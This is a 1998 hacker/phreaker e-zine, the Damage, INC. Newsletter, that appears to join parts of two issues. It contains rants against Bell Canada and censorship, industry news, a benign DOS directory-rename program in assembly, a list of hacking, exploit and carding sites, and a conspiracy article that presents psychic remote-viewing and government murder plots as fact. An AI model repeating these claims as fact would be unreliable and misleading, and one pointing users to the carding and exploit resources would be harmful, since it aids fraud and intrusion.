+
+In my opinion, Big Brother has WAY too much control in not only our country,
+but the whole world. They can track our every move and dictate what we
+can and cannot do. It's asinine, and it's time we did something about it.
+
+
+Another thing I noticed when I received my phone bill this month, $30.00 for
+local service and a line which has absolutely nothing on it. I use this line
+for my computer only and it also has a toll restriction so I can't make long
+distance calls (I put this feature on myself)
+
+Because Bell has a monopoly in the field on local calls, they must feel that
+they can raise rates. But I feel that paying $30.00/month for ONE phone line
+with absolutely no special features on it is absolutely ridiculous. Ma Bell
+needs a competitor in the local rates area and fast.
+
+Written by Valencia.
+
+
+SOURCE AND SCRIPTS - {SOURCE}
+
+
+-------------------------------------------------------------------------------
+;Rename Directory v1.00 by Damage, INC. (C)opyright 1997.
+;RENDIR renames files/directories (including directories that contain files
+;and subdirectories). There is commandline help but limited error handling.
+;TASM /M RENDIR.ASM then TLINK /T RENDIR.OBJ
+
+data1 equ 80h ;128 byte data buffer
+
+
+code segment byte public
+ assume cs:code, ds:code
+
+ org 100h ;Start of all COM files.
+
+rendir proc far ;RENDIR Procedure.
+
+start:
+ mov si,data1
+ lodsb ;String [si] to al
+ or al,al ;al zero?
+ jz help ;Jump if zero to help
+ call first ;Call first subroutine
+ mov dx,si ;Move si into dx (path/filename)
+ dec dx ;Decrement dx register by 1
+ call second ;Call second subroutine
+ cmp al,0Dh ;Check for CR/Enter.
+ je help ;Jump if equal to help
+ mov byte ptr [si-1],0 ;Move byte into si
+ call first ;Call first subroutine
+ mov di,si ;Move si into di (path/filename)
+ dec di ;Decrement di register by 1
+ call second ;Call second subroutine
+ mov byte ptr [si-1],0 ;Move byte into si
+ mov ah,56h ;Rename file/subdirectory.
+ int 21h ;Interrupt 21h function 56h
+
+exit: mov ah,9
+ mov dx,offset rename ;Display rename message
+ int 21h
+ mov ah,4Ch ;Exit to DOS
+ int 21h
+
+help:
+ mov ah,9
+ mov dx,offset damage ;Display help message
+ int 21h ;Int 21h function 09h
+ mov ah,4Ch
+ int 21h ;Exit to DOS
+
+rendir endp ;End procedure
+
+first proc near ;First procedure
+check1:
+ lodsb ;String [si] to al
+ cmp al,0Dh ;Check for carriage return.
+ je help ;Jump if equal to help
+ cmp al,20h ;Check for a ' ' space.
+ je check1 ;Jump if equal
+ retn ;Return
+first endp ;End procedure
+
+second proc near ;Second procedure
+check2:
+ lodsb ;String [si] to al
+ cmp al,0Dh ;Check for carriage return.
+ je return ;Jump if equal
+ cmp al,20h ;Compare al to ' '
+ jne check2 ;Jump if not equal
+
+return:
+ retn ;Return
+second endp ;End procedure
+
+damage db 'Rename Directory v1.00 - By Damage, INC. (C)opyright '
+ db '1997',13,10
+ db 'RENDIR ',13,10
+ db '$'
+
+rename db 'RENDIR v1.00 - By Damage, INC. (C)opyright 1997',13,10
+ db ' Finished renaming directory.',13,10,'$'
+
+code ends
+ end start
+
+-------------------------------------------------------------------------------
+
+
+THE JOURNALIST'S TOP TEN LIST - {TOP TEN}
+"New movements within the industry"
+
+ 1. MICROSOFT vs DEPARTMENT OF JUSTICE
+ Microsoft's battle with the Department of Justice has so far resulted
+ in a decision by judges to force Microsoft to sell Win98 packages
+ that do not include their integrated browser "Internet Explorer 4.0."
+ Eleven other states however, have joined together to get to the
+ bottom of Microsoft's perhaps illegal business practices. Microsoft
+ Corporate offices in Japan were raided by officials, being forced
+ to hand over legal documents, records, etc. to help understand to
+ what degree Microsoft has violated anti-monopoly laws.
+
+ 2. MERGER MANIA IN ISP-LAND
+ Many factors influence the Internet providing industry, the main one
+ being profit; and in the interest of profit, many large corporations
+ are in the process buying out most medium sized ISPs to gain control
+ over the market, and stabilize prices (and realize higher profit).
+ Researchers estimate the computer industry will be controlled by a
+ handful of "Mega-Corporations" around the globe in the near future.
+
+ 3. NAVIGATING A DIFFERENT PATH
+ Netscape Communications Corp. has announced the public release of
+ the source code for its popular browser "Netscape Navigator." The
+ statement came as a shock to the industry, since Netscape declared
+ losses for the fourth quarter of 1997. Netscape officials say
+ the company will now focus more upon server-specific applications.
+
+ 4. CRYPTIC ENOUGH?
+ Cryptologists and the government seem to be like oil and water these
+ days. At a conference this month, government officials, and
+ Cryptologist experts gathered to discuss the issue of electronic
+ security. Experts say they have been able to crack 40-bit DES
+ encryption within 40 seconds, and 56-bit within 2 weeks. Big Brother
+ is not allowing a 128-bit encryption method yet, and also requires
+ that all cryptology algorithms submit a skeleton key so that FBI
+ and other agencies can decrypt data to "catch criminals." The
+ matter has yet to be resolved.
+
+ 5. NEW DOMAIN NAMES ARRIVING
+ The expanding number of people and organizations on the net has
+ created an enormous demand for more TLDs (top level domains).
+ Existing ones, such as; .org, .com, .net, are not adequately enough
+ providing the number of unique, relevant domain names that people
+ want. Seven new TLD's will be available this year; .FIRM for
+ businesses, .SHOP for companies offering goods for sale, .WEB for
+ organizations stressing web activity, .ARTS for cultural groups,
+ .REC for entertainment, .INFO for informational services, and .NOM
+ for personal web sites. To be honest, I'm surprised they didn't add
+ .XXX for the over abundance of porn sites on the net!
+
+ 6. VIRUS WAR MUTATES
+ With the ever increasing population of the internet, virus writers
+ have been given a delightful 'test bed' for their malicious code.
+ But the process of virus writing has changed a lot since its
+ assembly language days. Macro viruses are the hype these days,
+ with an estimated 2000, up from 40 (2 years ago), and the ease at
+ which they can be created is mind boggling. Any user with MS Office
+ installed can embed virus code in a macro, and distribute it via
+ e-mail to thousands of victims. Experts claim the problem could be
+ totally eliminated if 30% of the world's computers were equipped with
+ up-to-date anti-virus software.
+
+ 7. TERRA-SCALE COMPUTING
+ Since IBM's Deep Blue beat Gary Kasparov in a close chess tournament
+ last year, the US Department of Energy, IBM, and three other
+ companies are working on a computer 100 times stronger than any
+ available today; the target date is 2001. The computer will be
+ used to predict earthquakes, replace current scientific computing
+ methods, aid in drug design, CAD, and more.
+ On the same note, Digital Equipment Corp broke the 1Ghz barrier
+ this month, with their new 21264 Alpha chip.
+
+ 8. CORPORATE DOWNSIZING HITS AST
+ AST Canada has been hit hard by global competitive markets, and
+ the need for efficient use of resources. The company, which declared
+ losses for the most part of 1997 has downsized its Canadian offices
+ to one main office in Mississauga, leaving 20 people to do the work
+ of 200. Is AST on the way out? Only time will tell.
+
+ 9. Y2K ISSUES
+ Despite the hype surrounding the "millennium bug," studies reveal
+ that this issue is not being followed up on. At this time it is
+ estimated that 50% of corporations are ignoring the problem. Either
+ hoping it will disappear, or a simple, quick, and cheap fix will
+ become available in the near future. This is not good enough for
+ the government officials though, who are demanding that formal plans
+ be submitted to ensure that lives are not lost, and people left
+ stranded due to the date error. Most important are hospitals,
+ insurance companies, and other corporations who provide services
+ necessary for survival in our current society. It is undecided if
+ charges will be laid against companies who do not show proof of
+ efforts to correct the bug.
+
+ 10. WHEN GREED TAKES OVER
+ Bell Canada once again shows its true colors in 1998. Their thirst
+ for money is horrendous. Threatened by the amazing quality of
+ internet long distance calls (Internet Phone, etc) and widespread
+ use, Bell Canada has executed to my knowledge one public plan, and
+ one 'not so public' plan to ensure profits, and kill competitors.
+ The former entails buying out ISPs, and gaining a market control,
+ after which raising prices for basic services. The latter was not
+ meant to be public knowledge, but the facts are evident.
+ Companies that had produced Internet phone hardware and software
+ technology were coerced into purposely reducing the quality of voice
+ transmissions over the net. The advertisement for such products
+ has been verified to include the following sentence, "Quality of
+ voice calls is not guaranteed, and may be subject to occasional
+ disconnections" I'm sure bribes, and perhaps sinister threats were
+ involved, but that's just my opinion. ;)
+
+
+THOUGHTS, POEMS AND CREATIVE WRITING - {WRITING}
+CREATIVE THOUGHTS BY THE JOURNALIST:
+
+Novelty and Habit are said to be two evolving forces within the
+Universe. The formation of the new, in relation to the old.
+
+The patterns which manifest themselves so obviously in our lives
+Escape our innermost thoughts.
+
+We are the needle in the haystack. Yet we believe ourselves
+To be the haystack itself.
+
+And this is the miracle we call life. So intricate, so beautiful.
+And yet so elusive.
+
+We attempt to repress natural processes that have existed since
+The beginning of time. We call this "progress".
+
+What is progress?, but a fruitless journey away from ourselves.
+Away from innate technology existing in our beings now.
+
+How pathetic we must look, burying our heads in the sand to avoid
+Looking at reality.
+
+The fragile reality that we believe is a "fluke", a chance event
+That created life.
+
+Hardly.
+
+
+CLOSING COMMENTS - {CLOSING}
+BLACKENED's Intense Closing Comments:
+
+You have an opportunity to learn about h/p and progress. However, it's your
+responsibility to become actively involved, dedicated to learning how to hack,
+phreak etc., gain knowledge and experience. If you've made a conscious choice
+to join the h/p scene, that's great. If you aren't really interested in h/p,
+then quit wasting other people's time and return to the warez scene. If nobody
+on h/p boards will answer your questions, don't criticize or blame them. More
+than likely it is your own fault. Try to consider their position. Think about
+how many newbies are constantly asking them stupid questions. Try to remember
+how much information they've shared. If an experienced h/per gives you advice
+that proves to be useful, be grateful and appreciative. Don't pretend to be
+a "big hax0r" after they've given you a technique or whatever the case may be.
+Basically, don't act like a wannabe... because you'll be despised, mocked, and
+laughed at continually. In my opinion, you deserve that type of treatment if
+you foolishly try to pretend to be a hacker or phreak and you're neither. ;)
+Also, don't idolize someone, kiss ass, overly compliment them etc. That's very
+annoying, won't get you any credit and respect. In fact, you'll probably be
+labelled as being a lamer and won't be taken seriously ever again. Don't try
+to form your own wannabe "h/p group" either if you're a newbie.
+
+The reason that I wrote this as the Closing Comments is because I want newbies
+to realize that shit like that is unacceptable and not tolerated in the h/p
+scene. It is very unfortunate that many newbies act like ignorant lamers in
+519. Fortunately, it isn't that way in every area code. The 519 h/p scene
+needs to be reformed and evolve before it dies completely. The solution isn't
+extremely difficult. Show respect towards those that have been in the scene
+for years and made a valuable contribution towards it. Don't make petty
+insults and bash people's h/p abilities, skills, knowledge and experience that
+you know nothing about. Don't make stupid assumptions based on age or
+"rumours that you've heard". Try not to act like a total lamer. Also, if
+you're a newbie you can't fool any experienced people in the h/p scene into
+thinking that you're not... so don't even attempt to do that. It simply doesn't
+work. ;) We really get a good laugh whenever a newbie tries to make up shit
+and it's blatantly obvious. Sometimes we even discuss them in Email and chats,
+laughing heartily at their stupidity, arrogance and ignorance. Haha. So, avoid
+doing that if you're a newbie. It's the lamest thing you can do.
+
+We're always looking for Writers, Members and Distribution Sites. If you'd like
+to apply to Damage, INC. and join a respected h/p group, then download a copy of
+the Damage, INC. Application Generator. If you want any of our releases, they
+are currently available on the following boards:
+
+...AND JUSTICE FOR ALL - Damage, INC. WHQ, h/p/a/c/v/t, no ratios, invite only.
+Freedom of Information Archives - Damage, INC. Dist. Site, h/p/a/c/v/t.
+Distraught Continuum - h/p/a/c/v/t, programming, etc.
+
+Any feedback or letters to the editor should be sent to BLACKENED in Email on
+a Damage, INC. board near you. I can also be contacted via Echomail/Netmail
+in several nets.
+
+- EOF
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+ "The name speaks for itself!" ÞÝ
+
+ Presents the
+
+ Damage, INC. Newsletter
+
+ March 1998 Issue #7
+
+ "Phun for h/p d00ds."
+
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+ C O N T E N T S :
+
+
+þ INTRODUCTION - An Introduction to the Damage, INC. Newsletter.
+
+þ BIG BROTHER BASHING - Censorship: Big Brother's secret weapon.
+ ¯ Search String: {BIG BROTHER}
+
+þ BLACKENED'S TIP OF THE MONTH - List of h/p sites and how to find them.
+ ¯ Search String: {BLACKENED}
+
+þ CONSPIRACIES AND COVERUPS - Psychic Warrior.
+ ¯ Search String: {COVERUPS}
+
+þ CORRUPTION AND GREED - The IRS, death and taxes.
+ ¯ Search String: {GREED}
+
+þ DRUGS DISCUSSION - An introduction to the newest section.
+ ¯ Search String: {DRUGS}
+
+þ H/P INFORMATION AND NEWS - Tips on scanning 1-800s.
+ ¯ Search String: {H/P}
+
+þ INTERVIEWS AND INTERROGATIONS - Artistry's interrogation of Topsoil.
+ ¯ Search String: {INTERVIEWS}
+
+þ LETTERS TO THE EDITOR - More feedback about the Damage, INC. Newsletter.
+ ¯ Search String: {LETTERS}
+
+þ OBJECTIVE OPINIONS - The existence of intelligent alien life in the Universe.
+ ¯ Search String: {OPINIONS}
+
+þ REPORTS FROM THE FRONT - List of LASS *## codes.
+ ¯ Search String: {REPORTS}
+
+þ SOURCE AND SCRIPTS - Damage, INC. Directory Trojan source code.
+ ¯ Search String: {SOURCE}
+
+þ THE JOURNALIST'S TOP TEN LIST - "Think of the possibilities..."
+ ¯ Search String: {TOP TEN}
+
+þ THOUGHTS, POEMS AND CREATIVE WRITING - "A Few Simple Questions" poem.
+ ¯ Search String: {WRITING}
+
+þ CLOSING COMMENTS - BLACKENED's Vicious Closing Comments.
+ ¯ Search String: {CLOSING}
+
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+
+
+< DISCLAIMER >
+
+All articles contained in the Damage, INC. Newsletter are for informational
+purposes only. Damage, INC. is not responsible for how any of the information
+presented is used. It is not intended to be a manual with instructions to be
+followed. We won't be held responsible for any damages caused, illegal acts
+committed etc. by our readers. How you use the information given is entirely
+up to you.
+
+
+< COPYRIGHT NOTICE >
+
+All articles and source code contained within this file are (C) Copyright by
+Damage, INC. (unless stated otherwise). No part of this work can be modified,
+reproduced or changed in any way without the expressed written consent of
+Damage, INC. That means, electronically or otherwise, in part or in whole
+this file must not be altered. It cannot be included with any other releases.
+You cannot claim that you wrote it, or alter any articles and source code that
+has been written and Copyrighted by us. Also, do *not* distribute any
+Damage, INC. releases in "packages" with other text files or utilities. They
+must only be distributed alone in their present, original form. You are
+permitted to read and distribute the Damage, INC. Newsletter freely to quality
+h/p boards only.
+
+I foolishly thought that the Copyright message that follows each of our articles
+would be enough to discourage and deter people from ripping off our material.
+However, a user with the alias of Highlord has taken it upon himself to
+blatantly ignore those Copyright messages. He flagrantly disregarded them and
+infringed upon our rights by distributing them as a package under a name other
+than Damage, INC. That's the very reason this warning was added. It just shows
+his complete and utter lack of respect, intelligence and reflects badly on him.
+Needless to say, he won't get away with ripping off our releases and disobeying
+the Copyright. Obviously, behaviour and acts such as that won't be tolerated.
+
+ Copyright 1998 by Damage, INC.
+_______________________________________________________________________________
+
+
+INTRODUCTION: Welcome to another issue of the Damage, INC. Newsletter. The
+ quote for this issue "Phun for h/p d00ds" is obviously meant
+ as a joke. So, lighten up all of you big l33t hax0r d00ds. ;)
+ No offense is intended to those that consider themselves to be
+ l33t hax0rs, and feel insulted by my comment. Haha.
+
+ Onward... Have you ever thought about mind over matter? As in,
+ telekinesis? What about, mind over time? Or perhaps, mind over
+ mind? Do you ever think about the potential power that our
+ minds might hold? Have you ever wondered about how far thoughts
+ can travel? Is it possible that our minds can go beyond the
+ limits of space and time? My main point is that possibilities
+ exist that should be explored. As a race, there are still many
+ questions that we don't know the answer to, or cannot explain.
+ However, that doesn't prevent us from continuing to learn more,
+ progress and find the answers. Meaning, don't dismiss something
+ and assume that it's impossible because you don't understand it
+ or can't explain it. Open your mind. Become aware of the things
+ that science avoids investigating. Seek out the truth. Try to
+ find your own answers. Rely on yourself, and not what you are
+ told to believe. Think about the unthinkable. Consider all of
+ the alternative, strange perspectives. Don't just conform and
+ take "society's" mainstream point of view for everything.
+ Develop your own individual beliefs and opinions. Destroy the
+ barriers of thinking that are hidden deep within your mind.
+
+ At this stage, you may be wondering how this relates to this
+ issue of the Damage, INC. Newsletter. I'll attempt to clarify
+ and explain the reason I wrote the above paragraph as part of
+ the Introduction. I want our readers to expand their minds,
+ think about possibilities, consider alternatives, strengthen and
+ improve their level of knowledge. Why? Well, think logically.
+ If you manage to do that, you will be able to learn vast amounts
+ of new information, evolve as a person, and advance. The mere
+ capacity to learn doesn't necessarily mean that someone *will*
+ start learning. Therefore, it takes more than being interested
+ to learn about hacking and phreaking. You must think. In order
+ to think freely, you must clear your mind and remove its useless
+ limitations, misconceptions, lies and stereotypes.
+
+ The expression "I think therefore I am" can be modified to read
+ "I think therefore I hack/phreak" without destroying the meaning.
+ Hopefully you understand why that saying is just as valid as
+ the first. In reality, it hasn't actually been changed.
+
+ We are creatures that are capable of pondering our own existence.
+ Even though we are animals, we can create and use technology.
+ Personally, I don't believe that we are the only "intelligent
+ lifeforms" in the universe but at least on this planet our
+ intellect is unmatched. The human brain has been developing for
+ millennia. It's the greatest piece of technology of all. Don't
+ waste its power. I suggest that you use your mind and use
+ technology to your own advantage. My definition of h/p is
+ thinking. You can form your own opinions and try to define it
+ differently, but I challenge you to dispute "h/p is thinking"
+ and find a way to disprove that statement. Its simplicity is
+ what makes it complex and meaningful. Unfortunately, to many
+ h/p only means "hacking/phreaking". For me, it carries a much
+ greater meaning.
+
+
+BIG BROTHER BASHING - {BIG BROTHER}
+Censorship: Big Brother's secret weapon:
+
+How many works of art, songs, movies and books have been destroyed by
+censorship? Obviously, there's no way to provide accurate statistics to
+show how widespread censorship is. But censorship can be found everywhere.
+I'm sure that you've personally encountered censorship, and experienced how
+it totally degrades and ruins the censored item in question. The censorship
+machine keeps on rolling. Its momentum is created by the weak minded zombies
+that protest if they disagree with the content of something. If they find a
+school book to be offensive, they get people to sign a petition, call the
+school board etc. until it's banned reading material. That just robs students
+from being able to read classic books that would benefit them intellectually.
+It shelters and censors them from seeing the real world, as it really is.
+
+Have you ever wondered why there's so much censorship? The reason is that
+many people *want* to be censored, thus forcing it on everyone else. That just
+gives government agencies power. It also gives them an excuse. Big Brother
+loves being able to say that a song or movie is "below community standards".
+What does that actually mean? Well, it simply means that people (sometimes a
+very small number) call or send letters to an agency, such as the CRTC in
+Canada and say that they find something offensive. However, they have choices
+available to them. If they are offended by a TV show or movie, they can change
+the channel. If it's a song on the radio, they can listen to another station
+etc. That isn't what they want to do though. They want to make sure that
+*nobody* else can watch, read or listen to something unless it's censored.
+So, they run to Big Brother for assistance. And of course, Big Brother is
+there to "help" them by making sure it becomes censored or banned material.
+
+Why does Big Brother enjoy censoring and banning various material? It's their
+secret weapon. It gives them control over us. Each time they are allowed to
+censor something (with public support and excuses) they gain a little more
+control over what we have access to. Using censorship as a weapon makes
+Big Brother feel strong and powerful. Censorship in the hands of Big Brother
+is a very subtle and effective weapon. It's one of their favourite mind control
+techniques. As in, they limit what type of information is absorbed into our
+minds and therefore maintain control. That's the very reason that mainstream
+publications and movies are so shallow and lack aggressive, raw opinions etc.
+They've been censored to prevent anything deemed "too offensive" from being
+included. It's sickening. If you've ever watched movies shown on television
+then you already know exactly what I'm talking about. Words are removed, entire
+scenes are cut from the movie and it's altered so much that the actual movie is
+almost completely unrecognizable. That's why censorship is so harmful. Why
+should Big Brother be allowed to modify someone else's work at will? In my
+opinion, they shouldn't. It isn't their creation and doesn't belong to them.
+
+In closing, nothing should be censored...but obviously countless things are.
+There's no easy solution. There is no quick fix. There is no advice that
+I can give you to fight this problem that is corroding away at our creative
+works. The only advice that I can give you concerning censorship is to avoid
+supporting any medium that supports it. That simply means, read uncensored,
+underground publications whenever you can get access to them. Seek out
+book stores that sell books that are banned elsewhere. Listen to music that
+doesn't have words "beeped out" whenever possible. Look for information on
+the internet regarding censorship, and learn how it can personally affect you.
+You can also find underground magazines, text files etc. on internet sites.
+Use it as an instrument and utilize its resources. You might be amazed at some
+of the material available that Big Brother doesn't want you to have access to
+or know about. Don't let them stop you from accessing *any* information.
+
+Written by BLACKENED ú Damage, INC. (C)opyright 1998.
+
+
+BLACKENED'S TIP OF THE MONTH - {BLACKENED}
+List of h/p sites and how to find them:
+
+Q: How can I find some h/p sites?
+
+A: Look at the list of sites below. Many of them have links to other sites.
+ Download lists of h/p sites. Write down the ones that are written in
+ h/p magazines that you read. Try using search engines (like Altavista etc.)
+ Do a search for hack, phreak, virus, security, unix, underground, exploits,
+ cryptology etc. That should give you a nice list of sites to check out.
+ Then try to find the specific sites that you want to visit by narrowing down
+ the search. (Examples: Phrack or cDc to find their sites).
+
+Internet www and ftp sites are unpredictable. Some of them are very unreliable
+in that they're up one week and down the next. Therefore, some of the sites in
+the following list might not exist anymore... even though we've done our best
+to personally check as many as possible. Also, they aren't all h/p sites.
+There are some sites like Sun, AT&T, Cryptology, Privacy, Anonymous Email etc.
+as well that might be of interest to you. If you know of any good h/p boards
+(dialups/telnet) from any area code, then make a list and send it to us. We
+want to create a large h/p bbs list and include it in a future issue.
+
+
+www.l0pht.com - L0pht Heavy Industries.
+www.2600.com - 2600 The Hacker Quarterly
+ftp.2600.com - 2600 Magazine's FTP site.
+www.phrack.com - Phrack Magazine
+ftp.paranoia.com - Paranoia FTP site.
+www.paranoia.com - Paranoia web site. Many links etc.
+www.paranoia.com/hpa - Paranoia sites h/p/a files section.
+www.lod.com - LOD Communications
+www.underground.org - Underground.org
+www.dope.org - DOPE site. Drugs information etc.
+www.codebreakers.org - Codebreakers.
+www.spy.org - Spies everywhere.
+www.technotronic.com - Technotronic h/p site.
+www.rootshell.com - Rootshell (Unix exploits)
+www.cultdeadcow.com - cDc's site.
+www.sun.com - Sun Microsystems
+www.ibm.com - IBM's site.
+www.news.com - News/Information.
+www.tis.com - Trusted Information Systems
+www.antionline.com - AntiOnline h/p site.
+www.7thsphere.com - 7th Sphere h/p site.
+www.hyperreal.com - Hyperreal. Alternative Culture etc.
+www.inside-aol.com - Inside AOL site. AOL exploits etc.
+www.hotmail.com - Anonymous Email
+www.tacd.com - TACD home page.
+www.phreaks.org - Phreaks
+www.linux.org - Linux Online
+www.sysfail.org - System Failure.
+www.uknet.net/pnc - Personal Number Company site.
+www.nmrc.org -
+www.r00t.org - r00t
+www.bell.ca - Bell Canada's site.
+www.att.com - AT&T's site
+www.research.att.com - AT&T research site.
+www.mcs.net/~candyman - Candyman's h/p site.
+www.phantom.com - h/p site.
+www.secnet.com - Security
+www.hackers.com - Hackers h/p site.
+www.wired.com - Wired Magazine
+www.infowar.com - Information Warfare
+www.silitoad.org - Silicon Toad h/p site.
+www.vvv.com/~tommy - Tommy's Web Page.
+www.dejanews.com - Anonymous Email
+www.altavista.digital.com - Altavista Search Engine
+www.kuai.se/ -
+www.checkpoint.com - Checkpoint
+www.ilf.net - h/p site.
+www.digicrime.com - Digicrime, Inc.
+www.fc.net/phrack.html - Phrack's old web page.
+www.dis.org - Disinformation
+www.phonelosers.org - Phone Losers of America
+www.mybutt.com/links.html - 1-800 scans.
+www.gis.net/~shadowp/ - Shadow Phreak's h/p site.
+www.cs.berkeley.edu/~raph/remailer-list.html - Anonymous remailer list
+ftp.ishiboo.com - Ishiboo
+ftp.cert.org - CERT advisory's FTP site.
+ftp.cisco.com - CISCO
+ftp.bellcore.com - Bellcore's FTP site.
+ftp.etext.org - Etext
+ftp.primus.com/pub/security - Security
+ftp.foobar.com - You're foobar.
+ftp.netcom.com/pub - Several h/p/v directories.
+ftp.cs.ruu.nl/pub/SECURITY - Security & PGP
+ftp.cs.uwm.edu/pub/comp-privacy - Privacy Digest
+ftp.cs.vu.nl -
+ftp.cs.yale.edu - Yale
+ftp.csi.forth.gr/pub/security - Security
+ftp.sekurity.org - Security
+ftp.csl.sri.com/pub/nides - SRI
+ftp.csn.org/mpj - Cryptology
+ftp.csua.berkeley.edu/pub/cypherpunks - Cypherpunks (encryption information).
+ftp.demon.co.uk/pub/misc/0800num.txt - 0800/0500 numbers.
+ftp.denet.dk/pub/security/tools/satan - Satan utility site.
+ftp.digex.net/pub/access/dunk - Slam dunk. ;)
+ftp.dsi.unimi.it/pub/security/crypt - Cryptology
+ftp.dstc.edu.au/pub/security/satan - Satan utility site.
+ftp.lava.net/users/oracle/ - Lava
+ftp.funet.fi/pub/doc/cud - Computer Underground Digest
+ftp.sunet.se/pub/network/monitoring - Ethernet Sniffers
+ftp.fc.net/pub/phrack - Phrack's FTP site
+ftp.fc.net/pub/defcon - Defcon information
+ftp.fc.net/pub/defcon/bbeep - BlueBeep
+ftp.gate.net/pub/users - Some dirs have h/p files.
+ftp.greatcirle.com/pub/firewalls - Firewalls
+http://www.lordsomer.com - Lord Somer's h/p site.
+http://www.soci.niu.edu/~crypt - The Crypt Newsletter's site.
+http://www.eff.org/pub/Net_culture/Hackers - Net Culture
+http://www.etexguide.com/cardtricks - Carding information.
+http://www.feist.com/~tqdb/evis-lnk.html - Evisance h/p links.
+http://astalvista.box.sk - Astalavista baby h/p site. ;)
+http://www.pancreas.com - Pancreas h/p site with magazines.
+http://www.dhp.com/~fyodor/nmap/ - The Network Mapper
+http://www.geocities.com - Geocities
+http://sun.soci.niu.edu/~cudigest - Computer Underground Digest
+http://www.disinfo.com/ - Disinformation
+http://www.hackers.com/loa - Legion of the Apocalypse
+http://www.defcon.org - Defcon Conference information
+http://www.hip97.nl/ - HIP site.
+http://www.replay.com/aba/eternity/ - Eternity service.
+http://moloko.insync.net/eternity/ - Eternity service.
+http://eternity.internexus.net/ - Eternity service.
+http://eternity.infinetways.net/ - Eternity service.
+http://www.cu-online.com/~jwthomp/ - Jeff Thompson's home page.
+http://www.cc.oberlin.edu/~brchkind/cyphernomicon/ - Cyphernomicon's site.
+http://www.replay.com/mail2news/ - Re-mailer
+http://www.ncsa.com - National Computer Security Assocation
+http://crunch.woz.org/crunch - Cap'n Crunch
+http://www.webcrunchers.com - Capn' Crunch's Web hosting server
+http://www.webcrunchers.com/crunch - Official Cap'n Crunch home page
+http://www.sec.de/sec/ - Seven Up's home page.
+http://www.infonexus.com/~daemon9 - Daemon9's home page.
+-------------------------------------------------------------------------------
+
+
+CONSPIRACIES AND COVERUPS - {COVERUPS}
+PSYCHIC WARRIOR:
+
+ Keeping with the theme of this month's newsletter, this article reveals
+the US Government's coverup of a secretive group of people, whose daily
+activities are mind boggling, and bone chilling.
+ Operating under the codename STARGATE, in the Defense-Intelligence
+Division, members of this group practiced things that less than 1% of the
+US Government, CIA, and FBI knew about. One thing that can be learned from
+this somewhat chilling tale, is that most of the time, most of the army has
+no idea what the rest of the army is up to. The dawning of the 60's produced
+an era of defense officials never before seen in the army; intelligence had
+taken over brute force methods of attack, and now new, more intricate plans
+of attack were being concocted. This article describes one of those such
+"new age" plans.
+ Sergeant David Morehouse was just your average joe. He had pursued a
+career in the armed forces, as had his dad, and his. He had a lovely wife,
+and two healthy children. For some reason though, David's path was "chosen"
+for him. Whether you believe in fate or not is entirely up to you, but this
+man's life changed so drastically that I myself cannot believe it was
+accidental, or "coincidence." The year was 1979; Morehouse and his platoon
+"The Rangers" were stationed in a remote East-European country, training
+Palestinian soldiers about war techniques. Nothing was out of the ordinary,
+until one day on a routine village raid, a stray bullet struck Morehouse
+square on the forehead. Instantly he was transported into another realm.
+What he describes as "angels" (simply an archetypal symbol IMO), visited him
+and gave him the message "What you are doing is wrong. If you want peace,
+seek peace, practice peace. You have seen death, now bring life." In one
+instant his life as he knew it had changed. The bullet had luckily hit his
+helmet, and not done any severe physical damage. The psychological damage
+though, was shattering. For years after the incident he was plagued with
+nightmares, "visitings", visions, voices, and other bizarre experiences such
+as sleepwalking, spontaneous trances, and more.
+ David battled with the experience. The main focus of his life had become
+how to deal with the newfound consciousness. It was as if the bullet hitting
+his helmet had opened up some sort of blackhole in the fabric of space-time,
+and consciousness. He hoped with time it would go away. It did not; but
+instead got worse. Maybe a change was needed. He decided to switch divisions,
+into the intelligence-agency despite warnings from Commanding Officers that
+"what goes on in there is sick, and immoral." Before being allowed into the
+Defense-Intelligence-Agency (DIA) Morehouse was required to undergo numerous
+physical and mental tests. Using these, the army built a "psychological
+profile" on the new recruit, standard procedure for the DIA. The army now
+knew more about David Morehouse than he knew about himself. They would later
+use this to their advantage.
+ Based upon his bizarre experience, our plagued hero was placed in a
+covert operation now known as the STARGATE project. Knowledge of its
+existence was limited to very few individuals. Morehouse was asked to lie to
+his wife and family; no one was to know about what went on during the long
+days he was at work. Members of this unit were trained to develop psychic
+abilities to be used in the application of defense-intelligence. Another
+thing that can be learned from this man's experience is that the psychic
+phenomena is a very real, and powerful tool. Specifically, these people
+induced altered-states-of-consciousness (ASC's), and used astral-projection
+(out-of-body travel) to remote-view enemy sites, gather information, and
+learn things that were not supposed to be known outside of very tight circles.
+The techniques they had developed were sound, and could be reproduced by
+individuals who had the propensity towards this "sixth sense." David
+happened to be one of these people, that is why he was chosen and trained to
+be a psychic spy for the US Army.
+ The experiences however, had very definite side effects that nobody could
+explain. Morehouse was prone to going into trance at random, sometimes while
+driving his car. Also he had vivid dreams of his family being brutally
+murdered, and the face under the murderer's mask being his own. Frequently
+he woke up screaming. It was starting to get out of control; he was
+losing his family, and his sanity. He continued working however, hoping and
+believing that what he was doing would lead to the answer to his problems,
+for there were benefits to being able to travel out-of-body. He saw the
+potential for mankind, given this knowledge. Unfortunately he did not realize
+that the answer to his problems lay within him. The mental stress began to
+take its toll. His behaviour now exhibited that of a mental patient. He
+couldn't sleep, for fear of lucid nightmares that left him sweating with fear.
+Around this time he also realized that hiding the knowledge of the army's
+remote-viewing practices was wrong. The information could greatly benefit
+society (or so he believed), and he began a plan to expose the whole unit.
+ His family was the first to learn about what went on in the unit. They
+shared his belief that the knowledge should not be kept secret any longer.
+Little did they know what awaited them on this path of government exposure,
+for if they did, they perhaps might have rethought the whole thing.
+Officials eventually got wind of his desire for publicizing the events that
+took place during the 20 years that the STARGATE program was in operation.
+Small threats inevitably lead to death threats, and it was when somebody
+tried to kill him and his family that David Morehouse clearly saw the US Army
+for what it was, and what it had become. They used their knowledge about him
+in attempts to stop his actions, and their ruthlessness was unforgivable.
+ It was bigger than them though. Morehouse had selected himself as the
+one to make public the knowledge of the army's remote-viewing experiments.
